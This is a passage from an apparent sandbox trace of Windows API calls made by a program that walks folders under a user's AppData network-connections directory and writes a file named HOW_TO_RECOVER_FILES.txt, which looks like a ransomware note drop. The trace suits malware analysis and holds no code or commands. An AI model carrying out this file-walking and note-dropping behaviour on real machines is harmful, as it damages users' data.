lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.268] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0247.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0247.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0247.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0247.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3d [0247.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0247.269] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.269] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0247.270] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0247.270] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 1 [0247.270] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 0 [0247.270] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0247.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0247.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0247.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0247.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3d [0247.270] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0247.271] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 1 [0247.271] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.271] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0247.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0247.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0247.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0247.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x40 [0247.272] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0247.272] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.272] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.272] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0247.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0247.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0247.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0247.273] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x40 [0247.273] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0247.273] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.273] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.273] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0247.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0247.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0247.273] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0247.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0247.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\cm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.274] GetFileType (hFile=0x82c) returned 0x1 [0247.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0247.274] GetFileType (hFile=0x82c) returned 0x1 [0247.275] WriteFile (in: hFile=0x82c, lpBuffer=0x3ac5fe8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3ac5fe8*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.275] CloseHandle (hObject=0x82c) returned 1 [0247.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0247.275] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x41 [0247.275] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0247.276] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0247.276] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0247.277] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0247.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0247.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0247.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0247.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x41 [0247.277] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0247.277] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd38f794c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.277] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0247.277] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.278] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0247.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0247.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0247.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0247.278] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4c [0247.278] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0247.278] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.279] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0247.279] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.279] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0247.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0247.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0247.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0247.279] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4c [0247.279] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0247.279] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.279] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0247.280] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0247.280] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0247.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0247.280] 